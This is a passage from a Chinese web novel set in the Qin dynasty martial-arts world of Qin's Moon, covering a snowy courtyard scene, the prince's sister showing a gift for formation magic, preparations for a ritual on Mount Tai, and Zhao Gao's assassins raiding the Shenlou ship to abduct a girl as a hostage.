她并未说话,只是轻轻抬起纤手,周身寒气微涌。
那些被火焰融化的雪水瞬间再次凝结,化作无数细小的冰晶蝴蝶,环绕着她翩翩起舞。
与焰灵姬的火焰精灵相映成趣。
一冰一火,竟有种奇异的美感!
端木蓉站在廊下,穿着一身素净的棉袍,看着两人孩子气的较量,无奈地摇摇头,语气带着医者的叮嘱。
“焰灵,阿雪,寒气侵体,玩闹也需有度。”
她的目光却也不自觉地被那冰火交织的景象吸引。
唇角带着一丝不易察觉的柔和。
更远处的梅树下,晓梦一袭道袍,静立雪中,仿佛与这天地冰雪融为一体。
她目光空灵地望着纷飞的雪花,似在感悟这飘零无常的天道,对身旁的嬉闹恍若未闻。
唯有当一片梅花被雪压落,飘过她眼前时,她那超脱物外的眼眸中,才极快地掠过一丝几不可察的波动。
而最安静的,是独自坐在远处亭檐下的少司命。
紫发如瀑,垂落肩头。
她安静地看着庭中积雪,蒙着面纱的脸庞看不清表情,唯有那双淡紫色的眼眸,倒映着漫天雪光,纯净得没有一丝杂质。
一片雪花恰好落在她纤长的睫毛上。
她轻轻眨了下眼,那雪花便颤巍巍地滑落,悄无声息。
赢子夜看着眼前这幅动人的画卷。
连日来的筹谋算计,紧绷的心弦,也不由自主地松弛下来。
他缓步走到亭中,在少司命身旁坐下,并未打扰她的静默,只是同样安静地望着庭外雪景。
焰灵姬见状,收了火焰,赤足点雪,袅袅娜娜地也走进亭中,很自然地挨着赢子夜另一边坐下,带来一股暖融融的气息。
“殿下今日倒有闲情逸致?”
雪女也散了冰蝶,悄然走入廊下,与端木蓉站在一起。
晓梦的目光不知何时也从雪景移开,落在了亭中几人身上。
赢子夜微微一笑,自怀中储物戒内,取出一个温好的白玉酒壶。
又拿出几个小巧的酒杯,斟满热气腾腾,用姜丝和药材煮过的暖身酒。
“雪景难得,佳人更难得。”
“偷得浮生半日闲,咱们共饮一杯如何?”
他将第一杯轻轻放在少司命面前。
少司命眸光微动,看了看酒杯,又看了看赢子夜,迟疑片刻,终是伸出纤手,极其优雅地端起,面纱微动,浅浅抿了一口。
焰灵姬早已自顾自地取了一杯,一饮而尽,哈出一口热气,笑道:
“还是殿下会享受!”
端木蓉和雪女也走了过来,接过酒杯。
连晓梦也飘然入亭,默然取了一杯,感受着指尖传来的暖意。
小小的亭子
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顿时显得有些拥挤,却充满了难得的暖意与生气。
无人说话,只听着雪落梅枝的细微声响,品着杯中暖酒,看着庭外银装素裹的世界。
这雪,下得正好。
就在这时。
忽听得园门处传来一阵急促的脚步声,还夹杂着少女娇憨又带着不满的哼唧声。
众人转头望去,只见嬴阴嫚披着一件雪白的狐裘斗篷,小脸冻得微红,气鼓鼓地冲了进来。
一双大眼睛直直瞪向被众女环绕的赢子夜。
“六哥!”
她跺了跺脚,靴子上的雪屑飞溅。
“你昨日答应得好好的,说今日带我去书院!”
“结果我左等右等都不见人影,原来是在这里…只顾着和姐姐们谈情说爱,都把小妹的事忘到脑后去了!”
她这话说得又委屈又直接,顿时让亭内气氛一僵!
焰灵姬率先反应过来,掩唇发出一串银铃般的轻笑,眼波在赢子夜和嬴阴嫚之间流转,满是戏谑。
雪女依旧清冷,只是唇角微不可察地弯了一下。
端木蓉无奈地摇摇头。
晓梦目光空灵,仿佛没听见。
少司命则安静地低下头,摆弄着手中的空酒杯。
赢子夜被自家妹妹这般“指控”,尤其是在众女面前,脸上顿时露出一丝罕见的尴尬。
他干咳一声,站起身走到嬴阴嫚面前,揉了揉她的头发。
“胡说八道什么?”
“六哥怎会忘了你的事?”
“不过是见雪景甚美,在此稍作品鉴罢了。”
“品鉴需要这么多漂亮姐姐陪着吗?”
嬴阴嫚小嘴撅得更高,显然不信。
赢子夜顿觉头大,只得告饶。
“好好好,是六哥不对,这就带你去书院,可好?”
嬴阴嫚这才转嗔为喜,一把抱住赢子夜的胳膊,雀跃道:“这还差不多!那我们快走吧!”
赢子夜无奈地朝亭中众女笑了笑,示意自己先行一步。
众女神色各异,目送着这对兄妹离去。
……
穿过覆雪的廊庑,步入万世书院宏伟的阁楼。
楼内温暖如春,书香与墨香混合着新木的气息扑面而来。
巨大的书架直抵穹顶,其上卷帙浩繁,无所不包。
嬴阴嫚看得眼花缭乱,兴奋地这里摸摸,那里看看。
“六哥六哥!这么多书,我从哪里开始呀?”
赢子夜负手跟在她身后,温和笑道。
“不必心急。”
“书院诸科,百家精华,经史子集、兵法谋略、机关数术、医药毒理乃至奇门阵法,皆有涉猎。”
“你可先随意看看,对哪一类最感兴趣,六哥再为你安排专门的老师授课。”
嬴阴嫚用力点头,像只快乐的小鸟在各个书架间穿梭。
她掠过厚重的经史,对冰冷的兵器图谱也只是瞥了一眼。
最终却在一排摆放着诸多古老残卷,兽皮图册的书架前停住了脚步。
她抽出一本材质特殊,上面绘制着无数星辰轨迹和奇异符号的古籍,封面上是两个晦涩的古字——
《阵枢》
“六哥,这个好像很有意思!”
她捧着那本明显年代久远的阵法书,大眼睛里充满了好奇。
第317章 阵法奇才,灵犀自通之体!
赢子夜略感意外。
“阵法?嫚嫚,此道艰深晦涩,极重天赋悟性,并非易学之路。”
他深知阵法一道,入门极难。
需要极强的推演计算能力和空间想象能力,绝非寻常女子所能驾驭。
嬴阴嫚却歪着头,翻看着书页上那些复杂的星位图和能量流向标识,眨了眨眼。
“很难吗?可我看着…感觉就跟下棋差不多嘛?”
“不过是棋盘更大,棋子更复杂一些?”
说着,她竟真的拉着赢子夜走到一旁供学子推演用的石台边。
石台上正好摆放着一副未收起的围棋和一套简易的阵法推演沙盘。
她放下书,随手抓起几颗黑白棋子,按照刚才在书中瞥见的一个最简单的基础聚灵阵的阵眼方位。
似模似样地摆放在沙盘对应的几个点上。
赢子夜本只是含笑看着,并未在意。
然而,就在嬴阴嫚放下最后一颗棋子,下意识地按照书中描述的意念微微催动的瞬间——
那几颗普通的围棋子上,竟然极其微弱地闪过了一丝几乎难以察觉的光芒!
沙盘之上。
那几个点位周围的微小尘埃,似乎被一股无形的力量牵引,极其缓慢地旋转了微不可察的一丝!
效果虽微乎其微,几乎可以忽略不计。
但…确确实实是引动了微弱的能量反应!
赢子夜脸上的笑容瞬间凝固,眼中闪过一丝难以置信的惊诧!
就在这时。
一个苍老却带着激动颤抖的声音自身后响起。
“灵犀自通?!竟是灵犀自通之体?!”
赢子夜回头,只见须发皆白,手持竹杖的荀夫子不知何时站在了那里。
一双昏花的老眼此刻瞪得极大,死死盯着嬴阴嫚和她面前那刚刚散去微弱波动的沙盘,脸上充满了震撼与狂喜!
“夫子?”
赢子夜讶然。
荀子却仿佛没听到他,几步抢到嬴阴嫚面前,声音因激动而有些发颤。
“小殿下!你…你刚才可是依照那书中所载,自行摆弄的?”
嬴阴嫚被这突然冒出来,眼神火热的老爷爷吓了一跳,躲到赢子夜身后,探出脑袋,怯生生地点了点头。
“是…是啊……就是觉得好玩……”
“天才!简直是阵法一道百年不遇的天才!”
荀子激动得竹杖连连顿地,他猛地转向赢子夜,竟是深深一揖。
“殿下!”
“老朽厚颜,恳请殿下允准!”
“让老朽收这位…小公主殿下为徒,传授阵法之道!”
“老朽必倾囊相授,绝不藏私!”
赢子夜此刻心中的震惊亦是不小。
他深知荀子之能。
虽主修儒家,但其于阵法、弈棋之道上的造诣,堪称登峰造极。
否则也教不出张良那等精于谋略算计的学生。
他竟会如此失态地主动要求收徒?
他看着躲在自己身后,一脸懵懂的嬴阴嫚,再想到她方才那无意间的举动,心中已然明了。
自己这妹妹,恐怕在阵法一道上,有着超乎想象的恐怖天赋。
“嫚嫚,这位是荀夫子,乃是当世大贤,于阵法弈棋之道,无人能出其右。”
赢子夜温声对嬴阴嫚道,随即看向荀夫子,郑重拱手。
“夫子愿收嫚嫚为徒,是她的造化。”
“本公子岂有不准之理?”
“只是嫚嫚年幼顽皮,日后还需夫子多多费心。”
“好好好!”
荀夫子喜不自胜,连声道好,仿佛捡到了稀世珍宝。
当下,荀子便迫不及待,引着嬴阴嫚来到阁楼外一处空旷的雪地广场上,要试试她的悟性。
赢子夜也从旁观看。
荀子随手折下一根枯枝,以枝代笔,在雪地上刻画起来。
寥寥数笔,一个简易却蕴含某种玄奥规律的困阵雏形便勾勒而出,同时,口中讲解着方位变化与能量牵引的诀窍。
嬴阴嫚睁着大眼睛,看得无比认真。
荀夫子画完一遍,问道:“可能记住?”
嬴阴嫚歪着头想了想,然后用力点头,接过荀夫子手中的枯枝,竟依样画葫芦,在旁边的雪地上也画了起来。
虽然笔触稚嫩,线条略显歪斜。
但那关键的几个节点,能量流转的大致方向,竟分毫不差!
甚至在她画完最后一笔时。
那雪地上的阵图似乎微微亮了一下。
周围飘落的雪花都下意识地避开了那片区域!
荀夫子激动得胡子都在发抖。
“再看这个!”
他又迅速画了一个稍复杂的变化。
嬴阴嫚依旧是看了两遍,然后再次完美复刻!
这一次,甚至能隐约感觉到一丝极淡的困缚之力从那雪地阵图中散发出来!
赢子夜站在一旁,看着雪地中那小小身影和激动不已的老者,心中亦是波澜起伏。
他想起自己修炼武道,研习谋略所付出的无数“艰辛”,再看着妹妹这近乎“一看就会”的恐怖天赋。
不禁摇头失笑,轻声感叹。
“果真是…天赋大于努力啊。”
……
是时!
雪后的咸阳街道清冷而寂静。
赢子夜刚将仍沉浸在阵法奇妙世界中,兴奋不已的嬴阴嫚送回宫,车驾尚未抵达府门,便见一名身着阴阳家特有深蓝色星纹服饰的弟子静立雪中,似乎已等候多时。
那弟子见到赢子夜的车驾,立刻上前,躬身行礼,声音空灵而恭敬。
“奉月神大人之命,特来禀告殿下。”
“除大司命、星魂大人外,东皇首领已于今日清晨,携云中君等几位长老,先行一步前往泰山部署仪式所需。”
“月神大人命弟子前来与殿下商议,我等明日动身前往泰山,不知殿下意下如何?”
赢子夜撩开车帘,寒风裹着雪沫涌入。
他面色平静,对此安排并不意外。
东皇太一先行前往布置核心阵法,确保万无一失,合乎情理。
“可。”
他淡淡应道。
“回复月神,明日辰时,于北门外汇合。”
“谨遵殿下之命。”
那弟子再次躬身,身影悄然后退,迅速消失在街角。
车驾继续前行,驶入府邸。
刚踏入温暖的书房,褪下沾染寒气的大氅,焰灵姬便如同一条火红的灵蛇般倚了过来。
眼波流转,带着毫不掩饰的兴趣。
“殿下,方才那是阴阳家的人?”
“可是为了泰山之事?”
赢子夜颔首:“明日动身。”
话音刚落,端木蓉端着刚煎好的驱
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寒汤走进来,闻言微微蹙眉。
“苍龙七宿…此事凶吉难料,殿下务必小心。”
她语气中带着医者的谨慎与担忧。
雪女悄无声息地出现在门口,清冷的目光望来,虽未言语,但那双冰蓝色的眼眸中,也清晰映出了一丝探寻之意。
甚至连一向静默的少司命,也不知何时静静立于窗边。
淡紫色的眸子透过窗棂,望向泰山的方向,仿佛也能感受到那遥远之地即将汇聚的非凡力量。
她们虽性情各异,但对这传说中的苍龙七宿,皆抱有极大的好奇与关注。
焰灵姬红唇勾起,笑容妖娆而危险。
“如此盛事,岂能少了我们?”
“殿下,带上我们一起去瞧瞧吧?”
“说不定,关键时刻还能帮上点忙呢?”
她指尖跳跃起一簇幽蓝火焰,跃跃欲试。
端木蓉放下药茶,叹了口气,语气却坚定了几分。
“我虽不擅争斗,但岐黄之术或能应对些意外伤势。”
“我随殿下同去。”
雪女轻轻颔首,冰晶在她指尖凝结。
“愿往。”
少司命没有回头,只是极轻极轻地点了一下头,紫发微动。
赢子夜看着眼前诸女,深知她们皆非寻常女子,各有非凡本领。
此行泰山,暗流汹涌,有她们相助,确是一大助力。
他沉吟片刻,便点头应允。
“好,那便一同前去。”
“但需谨记,一切听令行事,不可妄动。”
“知道啦!”
焰灵姬娇声应道,其他几女也各自表示明白。
安排好几女,赢子夜神色一肃,沉声道:“传韩信。”
不过片刻,一身戎装却难掩落魄寒微之气的韩信大步走入书房,单膝跪地。
“末将韩信,参见殿下!”
“韩信。”
赢子夜目光锐利地看着他。
“给你一道密令。”
“请殿下示下!”
韩信头颅低垂,声音沉稳。
“持此令牌。”
赢子夜将那枚可调动三万禁军的玄鸟令牌掷于韩信面前。
“即刻点齐一万禁军精锐,人衔枚,马裹蹄,秘密出发,前往泰山地域!”
“于泰山外围五十里处隐秘驻扎,没有本公子亲令,不得暴露行踪!”
“你的任务,是封锁所有通往泰山主峰的非官方要道,监控一切可疑人员动向,必要时…清剿所有企图靠近仪式区域的宵小之辈!”
“可能办到?”
韩信猛地抬起头,眼中爆发出惊人的光彩,那是被绝对信任和赋予重任时产生的激动与决绝。
他重重抱拳,声音因压抑的兴奋而微微发颤。
“末将韩信!领命!”
“必不负殿下重托!”
“泰山之外,绝无一蝇一蚊能扰殿下大事!”
“很好,去吧,即刻准备,今夜子时,秘密开拔!”
“诺!”
韩信抓起令牌,如同最锋利的宝剑终于出鞘,转身大步离去,步伐坚定有力。
书房内再次安静下来。
赢子夜走到窗前,望着窗外又开始飘落的细雪,目光仿佛已穿透千山万水,落在了那座承载着无数秘密与野心的巍峨山岳之上。
各方落子已毕。
风暴,即将来临!!
第318章 我要一步一步走到最高!
数日后。
泰山。
五岳独尊!
在冬末的寒夜里更显巍峨沉寂,如同一头匍匐的太古巨兽!
山风凛冽,卷起残雪,吹拂着山林间无数双警惕的眼睛。
明面上,自山脚至中天门,随处可见披坚执锐,煞气森然的秦军锐士。
五步一岗,十步一哨。
火把连成长龙,将主要通道照得如同白昼,戒备森严,飞鸟难渡!
暗处,气息则更为诡秘莫测。
身着阴阳家星月纹饰服饰的弟子们,如同幽灵般隐匿于怪石、古松之后,结印布防。
借助山势与提前布置的简易阵法,构筑起一道道无形的警戒线。
任何不属于阴阳家的能量波动都难以逃过他们的感知。
然而,这仍非全部。
在更深的阴影里,仿佛与岩石、泥土融为一体的,是暗河最顶尖的**!
他们呼吸近乎停滞,心跳缓慢到极致,如同冰冷的磐石。
唯有手中淬毒的**和连**,在偶尔掠过的月光下反射出致命的幽光。
而在几处最为险要,常人根本无法抵达的绝壁秘径附近,空气中则弥漫着一种狂躁、压抑的凶戾之气。
那是被特赦出噬牙狱,暂时戴上特制镣铐的凶徒!
他们被许诺,此次任务若成,将获得部分自由甚至减刑!
此刻,这些曾经叱咤江湖或为祸一方的恶徒,如同被放出笼的饥饿猛兽,猩红的眼睛贪婪地扫视着黑暗!
期待着有任何不开眼的东西撞上来。
好让他们尽情发泄被囚禁多年的暴虐!
山顶。
一处临时辟出的石室内。
赢子夜**案前,听着窗外呼啸的风声。
一道阴影如同水纹般在室内荡漾浮现,凝聚成公孙墨玄的身影。
“主上。”
公孙墨玄躬身,声音压得极低。
“明暗哨卡均已回报,方圆五十里内,未见大规模异动,亦无高手强行潜入迹象。”
“韩信将军的一万禁军已在外围隐秘布防,封锁了所有通道。”
赢子夜指尖敲击着桌面,目光幽深。
“罗网呢?赵高那边,绝不会如此安静。”
“罗网的人……像是彻底消失了一般。”
公孙墨玄语气凝重。
“我们的人捕捉到几丝极其微弱的痕迹,但他们隐藏得极深,似乎化整为零,采用了一种从未见过的隐匿秘法,难以追踪具体方位和数量。”
“但可以肯定,他们必然已经在了,就像毒蛇潜伏在草丛中,只等时机。”
“预料之中。”
赢子夜并不意外。
“继续盯紧,尤其是仪式前夜和当日,越是平静,越是危险。”
“距离开启尚有四日,此间绝不容出现任何意外!”
“告诉所有人,眼睛都不要眨一下!”
“诺!下官明白!定寸步不离,确保万无一失!”
公孙墨玄再次躬身领命,身影再次无声无息地融入阴影,仿佛从未出现过。
赢子夜起身,走出石室,负手立于悬崖之畔,任由冰冷的山风吹拂衣袂。
他的目光投向泰山极顶——
玉皇顶。
那里,此刻正被一种异常磅礴而神秘的能量场所笼罩。
玉皇顶之上,原本空旷的祭天广场已被彻底改造。
地面被刻画上无比繁复深奥的巨大阵图。
沟壑中填充着秘银与各种宝石粉末,在清冷的月光下流淌着微弱的光华。
阵图的七个核心方位,分别对应着天空中的北斗七星。
每一个方位都矗立着一根巨大的黑色石柱,石柱上捆绑着几道身影!
正是阴阳家此行带来的“祭品”。
除却东君焱妃之外,其余五部长老以及那些身份特殊的“宝盒传人”。
他们皆被特制的符文锁链束缚,低垂着头,气息微弱,仿佛已被抽取了大部分力量,成为了阵法的一部分。
他们的脸上或是麻木,或是绝望,或是隐藏着极深的怨恨。
东皇太一依旧笼罩在宽大的黑袍与诡异面具之下,屹立于阵法最中央的高台之上。
他双手不断结出复杂古老的法印。
周身散发出浩瀚如星海般的力量。
引导着从天穹垂落,肉眼可见的皎洁月华,如同瀑布般灌注到悬浮在他面前的七个神秘宝盒之上!
那七个宝盒样式古朴,材质非金非木,表面铭刻着无法解读的远古符文。
此刻。
在月华的持续灌注下,正微微震颤,发出低沉悦耳的嗡鸣。
表面流转的光泽越来越亮,仿佛内部有什么东西正在逐渐苏醒。
云中君等长老则分列阵法三角,全力辅助,将自身功力毫无保留地注入阵眼,维持着这庞大阵法的稳定运行。
而在高台之下,月神静静伫立着。
她手中捧着一个晶莹剔透的水晶瓶,瓶中盛放着小半瓶殷红粘稠,仿佛还在微微蠕动的血液。
那是来自赤练的血。
她的目光偶尔扫过那瓶血液,又望向阵法中那些被捆绑的“祭品”,薄纱后的眼眸无悲无喜,只有一片冰冷的漠然。
整个玉皇顶,都沉浸在这种神圣、诡异、而又令人心悸的氛围之中。
月光、符文、宝盒、祭品……
构成了一幅足以让任何人震撼失语的画面。
赢子夜远远望着。
即便以他之心性,也能感受到那阵法中心汇聚,越来越恐怖的星辰月华之力。
以及那七个宝盒中逐渐被唤醒,令人灵魂战栗的古老气息!
苍龙七宿。
开启之日,越来越近了。
而风暴来临前的宁静,也压抑得让人窒息。
……
与此同时。
中车府令官署。
那间终年不见阳光的密室,此刻仿佛一个巨大的毒囊,酝酿着最阴冷的杀意。
幽绿的烛火跳动。
将赵高那张枯瘦阴鸷的脸映照得如同从地狱探出的鬼首。
一道几乎与黑暗完全融为一体的身影跪伏在地,声音如同地缝中刮出的阴风。
“启禀大人,罗网所有天杀地绝,共计一百零七人,已遵照您的指令,采用‘影遁’秘法,全员渗透至泰山地域,化整为零,潜伏于预定位置,未被任何人察觉。”
赵高枯瘦的手指缓缓摩挲着冰冷的扶手,眼中没有丝毫意外,只有一种一切尽在掌握的冰冷。
“很好。”
“让他们像石头一样给本官藏着,没有本官的命令,谁也不许露出半点气息。”
“诺!”
黑影应道,随即又补充。
“另,北疆急报。”
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“螭已传回消息,他与其麾下九魔,已突破边境封锁,正全速赶来,最迟明日黄昏,便可抵达泰山脚下!”
“九魔……”
赵高眼中终于闪过一丝嗜血的兴奋光芒。
那九个从无尽折磨中爬出来的怪物,每一个都拥有着堪比甚至超越“天”字级**的纯粹破坏力与疯狂!
是他们罗网如今隐藏最深,也最不受控制的杀戮兵器。
“告诉他们,本官在泰山,给他们准备了一场……盛宴。”
“诺!”
禀报完毕,那黑影却并未立刻离去,依旧伏在地上,等待着最终的指令。
密室内的空气仿佛凝固了,只剩下烛火燃烧的噼啪声和赵高那缓慢而压抑的呼吸声。
他缓缓站起身,黑袍下摆无声拂过地面,如同毒蛇游走。
他的目光穿透密室的墙壁,仿佛已经看到了那座巍峨的泰山,看到了那场即将到来,决定命运的仪式。
终于,他下定了决心。
眼中猛地爆射出决绝而疯狂的光芒!
“传令。”
他的声音嘶哑而尖锐,带着一种孤注一掷的狠厉。
“命六剑奴与掩日,即刻动身!”
黑影身体一颤,显然这个命令极为重大。
赵高继续道,每一个字都如同淬毒的冰刺。
“让他们率领所有‘杀’字级精锐,给本官突袭蜃楼!”
“东皇太一与主力皆在泰山,内部必然空虚!”
“他们的任务,是给本官把那个被囚禁的东君焱妃,救出来!”
黑影猛地抬头,眼中充满惊愕。
救出东君焱妃?
那可是阴阳家的头号叛徒,同时也是极其危险的存在!
赵高脸上露出一抹极其阴险狡诈的笑容。
“当然,那个女人没那么容易听话。”
“告诉掩日,若是暂时无法控制焱妃…那就先找到她的软肋!”
“她还有个女儿也在蜃楼,想办法,把那小丫头给本官‘请’到泰山来!”
他的笑声变得低沉而残忍。
“届时,以她女儿为质,不怕她东君焱妃不乖乖就范,为本官所用!”
“告诉她,只要她肯在关键时刻帮本官一把,事成之后,本官自会完完整整地将她的宝贝女儿还给她!”
“呵呵……哈哈哈……”
这计策可谓毒辣至极,直击人性弱点!
“记住!”
赵高笑声一收,语气变得无比森寒。
“行动要快!要隐秘!”
“绝不可提前暴露!”
“得手之后,立刻将人带往泰山!”
“本官……要亲自前往泰山,主持这场大局!”
“属下领命!”
黑影重重叩首,声音带着一丝恐惧和决绝,随即如同被地面吞噬般,瞬间消失得无影无踪。
密室中,只剩下赵高一人。
他缓缓走到墙边,看着墙壁上悬挂的那幅巨大的帝国疆域图,目光最终死死钉在了“泰山”二字之上。
“东皇太一…赢子夜…陛下……”
他伸出枯瘦的手指,轻轻点在那座山岳之上,仿佛要将它碾碎。
“这盘棋,该收官了。”
“最后的赢家…只会是我赵高!”
幽绿的烛火在他身后疯狂跳动,将他的影子拉得忽长忽短,扭曲如同妖魔。
第319章 蜃楼杀局!
夜色如墨,浓稠得化不开。
庞大的蜃楼如同蛰伏在港口的一头漆黑巨兽,在冰冷的海浪拍击声中沉默矗立。
往日里缭绕其间的缥缈乐声与诡异光华今夜似乎都黯淡了许多,只剩下海风穿过楼阁缝隙发出的呜咽,如同鬼魅低语。
然而,这片死寂之下,却有无形的杀机在疯狂滋长。
数道比夜色更深沉的黑影,如同鬼魅般悄无声息地贴上了蜃楼冰冷的外壁。
他们动作迅捷如电,利用各种奇门工具甚至直接以手指插入船体木板缝隙,如同壁虎般向上急速攀爬,没有发出丝毫声响!
罗网的“杀”字级**,如同最致命的毒蛛!
开始向着这艘巨舰张开它们的网。
最初的死亡是寂静的。
几名巡逻至偏僻船舷的阴阳家弟子,甚至来不及发出任何警示,喉咙便被冰冷的刀刃无声划过,鲜血喷洒在古老的木板上,迅速被黑暗吞噬!!
尸体被迅速拖入阴影角落,仿佛从未存在过。
杀戮如同瘟疫般在蜃楼内部悄然蔓延……
这些罗网**配合默契至极!
两人一组,一人诱敌或制造细微动静,另一人则从绝对意想不到的角度发动致命一击。
**、袖箭、淬毒的**、甚至诡异的音波功……
各种阴毒手段层出不穷。
一时间,蜃楼下层区域竟被他们硬生生撕开了一道口子!
十余名阴阳家弟子殒命!!
但阴阳家毕竟并非庸手。
就在一名**试图将**刺入一名女弟子的后颈时,那女弟子身上佩戴的一枚玉珏骤然爆发出耀眼的蓝光,形成一个短暂的护罩!
“敌袭!”
女弟子尖厉的叫声终于划破了蜃楼的死寂!
瞬间,蜃楼内部警铃大作!
无数脚步声和呼喝声从各处传来!
一道娇艳如毒玫瑰的身影率先从高层甲板飞身而下,正是留守的大司命。
她看着下方倒毙的弟子和那些鬼魅般的黑衣人,脸色骤寒,双手瞬间变得赤红如血,结印厉喝。
“阴阳合手印!”
巨大的血色手印凭空出现,带着凌厉的掌风狠狠拍向两名正在逼近的罗网**!
那两名**反应极快,身形诡异一扭,竟险之又险地避开了主要掌力,但也被余波震得气血翻涌,踉跄后退。
几乎同时!
一道幽紫色的诡异身影如同瞬移般出现在更高处的桅杆之上。
星魂负手而立,瘦小的身躯却散发着令人窒息的恐怖威压。
他俯瞰着下方混乱的战场,那双孩童般的眼眸中闪烁着冰冷而残忍的光芒。
“哼,藏头露尾的鼠辈,也敢来蜃楼撒野?”
他声音稚嫩,却带着刺骨的寒意。
他甚至没有结印,只是随意地一抬手,指尖凝聚起一团令人心悸的紫色气刃。
聚气成刃!
嗖!
紫色气刃如同死神的镰刀,无声无息地掠过夜空,速度快到极致!
一名正欲从背后偷袭大司命的罗网**,身体猛地一僵!
眉心处出现一个细小的血洞,眼中的惊骇尚未消散,便直挺挺地倒了下去。
星魂目光冷漠地扫过那些黑衣**,刚欲再次出手,却忽然在那名**死的**因翻滚而掀开的衣襟下,看到了一个熟悉的蜘蛛纹身标记。
罗网?!
星魂那始终带着戏谑和残忍的脸上,第一次出现了明显的错愕与诧异,手上的动作都为之微微一滞。
“罗网?”
他眉头紧蹙,声音中充满了难以置信的冰冷质疑。
“赵高手下的狗……”
“怎么?你们这是要背叛帝国了?”
回答他的,不是语言,而是六道骤然爆起,从六个绝对致命的死角同时发动,毫无征兆的**!
真刚剑刚猛无匹,直劈天灵!!
断水剑无声无息,直刺后心!!
乱神剑邪气凛然,封锁左右!!
魍魉双剑轻灵诡谲,专攻下盘!!
转魄、灭魂双胞胎姐妹身影如同鬼魅,剑光交织成一片死亡之网,直取咽喉与丹田!
六剑奴!
他们竟一直隐藏在那些普通**之中,如同最耐心的猎人,等待着星魂这因惊愕而产生的一瞬间的松懈!
六人合击,默契到了极致,速度快到了极致,狠辣到了极致!
剑风撕裂空气,发出的尖啸声甚至压过了海浪与警铃!
杀气瞬间凝成实质,将星魂周身所有空间彻底锁死!
星魂瞳孔骤然收缩!
那孩童般的脸庞上第一次露出了极度震惊与暴怒交织的神情!
他完全没料到,罗网不仅真的敢袭击蜃楼,竟然连六剑奴都出动了,而且一上来就是毫无保留的绝杀之局!
千钧一发之际,他体内那磅礴恐怖的紫色内力轰然爆发!
“找死!”
一声尖锐的厉喝,他矮小的身体以一种近乎扭曲的姿势强行扭转,聚气成刃的紫芒瞬间大盛,在身前舞成一团耀眼的光幕!
“铿!锵!嗤——!”
刺耳无比的金铁交击声与气劲**声瞬间响成一片!
火星四溅!
星魂的身影如同鬼魅般从六把致命兵器的合围缝隙中硬生生挤了出来!
袍袖被凌厉的剑气割裂出数道口子,甚至有一缕紫色的发丝被斩断,飘落下来。
他虽然凭借超绝的实力避开了致命伤,却也显得有几分狼狈。
他落在一旁的船舷上,稳住身形,原本戏谑残忍的目光已然彻底被一种冰冷的杀意所取代,死死锁定在那六个如同融为一体,再次蓄势待发的剑奴身上。
“好……很好!”
星魂的声音冰冷得如同九幽寒冰,周身紫气疯狂涌动,气势不断攀升。
“看来赵高是铁了心要自寻死路了!”
“既然如此,本座今日便先宰了你们这群叛主的恶犬!”
六剑奴依旧沉默如山,六双毫无感情的眼睛如同深渊,牢牢锁定星魂。
真刚剑缓缓抬起,剑尖直指。
新一轮更加狂暴的**,一触即发!!
……
蜃楼的混乱并非只局限于星魂与六剑奴交战的主甲板。
这艘庞大的巨舰内部,如同一个错综复杂的迷宫,此刻正多处燃起战火。
一处相对偏僻的廊道内,剑气呼啸,阴阳术的光华明灭不定。
姬如千泷一身水蓝色衣裙已被汗水与些许血渍浸染。
她手持一柄细剑,身形灵动地穿梭于两名罗网“杀”字级**的**之下。
她修炼阴阳术时日尚短,但天赋极高。
加之燕丹留下的部分功力底子,此刻面对两名精锐**的合击,虽左支右绌,却也能勉强支撑。
她指尖不时勾勒出简单的阴阳咒印。
或凝水成冰延缓对手速度,或幻化出些许虚影
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干扰判断。
剑法更是带着一股与年龄不符的坚韧与凌厉!
一名**欺身近前,毒爪直掏心窝!
千泷一个灵巧的侧身,剑尖顺势上挑,在那**手臂上划出一道血痕!
同时另一只手结印拍出,一股寒气逼得对方踉跄后退。
“你们到底是什么人?敢闯蜃楼!”
千泷喘息着,清丽的小脸上带着惊怒与倔强。
**自然不会回答,眼中只有冰冷的杀意,攻势愈发狠辣。
另一名**从阴影中掷出三枚淬毒飞镖,直取千泷上中下三路!
千泷瞳孔一缩,正欲全力格挡。
却有一道更加深沉,更加令人心悸的阴影,如同鬼魅般毫无征兆地出现在她身侧的后方。
那是一个身着帝国精锐铁甲,却散发着与军旅煞气截然不同的阴冷气息的身影!
掩日!
他仿佛一直就站在那里,与阴影融为一体,直到此刻才露出獠牙。
他甚至没有出剑。
只是看似随意地抬起戴着铁手套的手,指尖萦绕着一股扭曲光线,吞噬一切的黑暗之力,对着千泷的后颈轻轻一按!
快!
快到极致!
诡谲到极致!
千泷所有的注意力都在前方的飞镖和两侧的**身上。
对来自绝对盲区,气息完全隐匿的偷袭根本来不及做出任何反应!
“呃!”
她只觉后颈一麻,一股冰冷诡异的力量瞬间侵入体内,封锁了她的经脉与意识。
眼前一黑,所有的力气瞬间被抽空。
手中细剑“当啷”落地,娇小的身躯软软地向后倒去。
掩日顺手一抄,将她扶住,动作流畅而冷漠。
“带走。”
他沙哑低沉的声音命令道,如同铁石摩擦。
那两名**立刻上前,其中一人迅速将昏迷的千泷扛上肩头。
“想走?把人留下!”
就在这时。
一道娇叱伴随着凌厉的破空声袭来!
巨大的血色手印——
阴阳合手印,如同燃烧的陨石,轰向正准备撤离的**!
是大司命!
她显然是从另一处的战斗中脱身,感应到此地的能量波动急速赶来,正看到千泷被击晕掳走的一幕,顿时惊怒交加!
扛着千泷的**脸色一变,急忙闪避。
另一名**则挥刀试图格挡那血色手印。
“砰!”
血光炸裂,那名挥刀的**直接被震得口喷鲜血倒飞出去,重重撞在舱壁上。
掩日将这一切看在眼里,面具下的目光毫无波澜。
他对着那名扛着千泷的**挥了挥手。
“按计划撤离,此地交给我。”
“诺!”
那**如蒙大赦,毫不迟疑,扛着千泷迅速消失在黑暗的廊道尽头。
大司命岂肯放人,赤红如血的双手再次结印,就要追击。
然而,掩日的身影如同鬼魅般平移,瞬间挡在了她的面前!
那柄名为“掩日”的长剑虽未出鞘,但其本身散发出的仿佛能吞噬光明的阴冷剑意,已如同实质般笼罩了大司命。
“你的对手,是我。”
掩日的声音透过面具传来,沉闷而充满压迫感。
大司命脸色凝重无比。
她能清晰地感受到对方身上那深不可测的恐怖实力,远在她之上!
但千泷被掳,事关重大,她绝不能放任不管!
第320章 你也不想女儿有什么意外吧?
“掩日…你们究竟想干什么?!”
大司命厉声质问,周身血色内力疯狂涌动,不敢有丝毫大意。
掩日不再废话,身形一动,仿佛化作一道扭曲的暗影,直扑大司命!
剑仍未出鞘,但那双铁拳挥舞间,带起的却是凌厉无比的剑气风暴!
大司命娇叱一声,双手赤红光芒大盛!
